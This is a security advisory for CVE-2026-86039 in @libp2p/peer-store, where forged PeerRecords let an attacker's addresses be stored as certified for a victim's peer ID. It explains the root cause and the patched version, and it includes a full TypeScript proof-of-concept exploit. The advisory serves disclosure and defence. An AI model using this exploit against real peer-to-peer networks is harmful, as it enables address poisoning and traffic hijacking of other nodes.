CVE-2026-86039: @libp2p/peer-store Certified Address Poisoning via Forged PeerRecord
A flaw in js-libp2p lets an attacker poison another peer's certified address book entry by signing a PeerRecord with their own key while placing a victim's peer ID in the payload, causing nodes to…
The problem
In @libp2p/peer-store versions 8.0.0 through 12.0.23, consumePeerRecord calls RecordEnvelope.openAndCertify to verify the envelope signature, then stores the addresses under peerRecord.peerId from the payload. It never checks that the payload peer ID matches the verified envelope signer.
The expectedPeer guard only compares against the envelope signer, not the payload peer ID. Through gossipsub Peer Exchange (PX), an attacker sets pi.peerID to their own ID, signs the envelope with their own key, and puts the victim's peer ID inside the wrapped PeerRecord.
The store accepts the record and marks the attacker's multiaddrs as certified for the victim.
Proof of concept
A working proof-of-concept for CVE-2026-86039 in @libp2p/peer-store, with the exact payload below.
// TypeScript ESM PoC (from advisory GHSA-vrf4-mx87-p53w)
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'
const localKey = await generateKeyPair('Ed25519')
const attackerKey = await generateKeyPair('Ed25519')
const victimKey = await generateKeyPair('Ed25519')
const attacker = peerIdFromPrivateKey(attackerKey)
const victim = peerIdFromPrivateKey(victimKey)
const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')
const peerStore = persistentPeerStore({
peerId: peerIdFromPrivateKey(localKey),
datastore: new MemoryDatastore(),
events: new TypedEventEmitter(),
logger: defaultLogger()
})
// Payload claims victim peer ID; envelope is signed by attacker's key.
const forgedRecord = new PeerRecord({
peerId: victim,
multiaddrs: [attackerAddr],
seqNumber: 999999n
})
const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)
// Emulates gossipsub PX: expectedPeer == attacker (the actual signer).
const accepted = await peerStore.consumePeerRecord(
forgedEnvelope.marshal(),
{ expectedPeer: attacker }
)
// accepted === true
// peerStore.get(victim).addresses[0] => { multiaddr: '/ip4/203.0.113.66/tcp/4001', isCertified: true }The root cause is a missing binding check between the two identity fields in a certified record: the cryptographic signer (derived from the envelope public key) and the claimed subject (the peerId field inside the protobuf payload). Because consumePeerRecord stores addresses under the payload's peer ID without asserting it equals the signer, an attacker can craft a valid-signature envelope whose payload names anyone.
The fix in commit 3bf5d395 (PR #3570) adds the same guard already present in packages/protocol-identify/src/utils.ts: ``ts if (!peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))) { throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord') } `` This is CWE-290 (Authentication Bypass by Spoofing) combined with CWE-345 (Insufficient Verification of Data Authenticity).
The fix
Upgrade @libp2p/peer-store to **12.0.24** or later. The patch (commit 3bf5d395, PR #3570) adds the equality check peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID())) immediately after openAndCertify, throwing InvalidMessageError on mismatch.
No configuration workaround exists for older versions.
Related research
- high · 7.5CVE-2026-86038CVE-2026-86038: @libp2p/gossipsub StrictSign RSA Peer ID Author Spoofing
- high · 8.2CVE-2026-55641CVE-2026-55641: 9router Authentication Bypass via Host Header Spoofing and SSRF
- high · 7.1CVE-2026-53728CVE-2026-53728: @medplum/core Open Redirect via Prefix-Matched Redirect URI in External Auth Callback
- highCVE-2026-68945CVE-2026-68945: @angular/common HttpTransferCache Cache-Key Ambiguity Leads to State Poisoning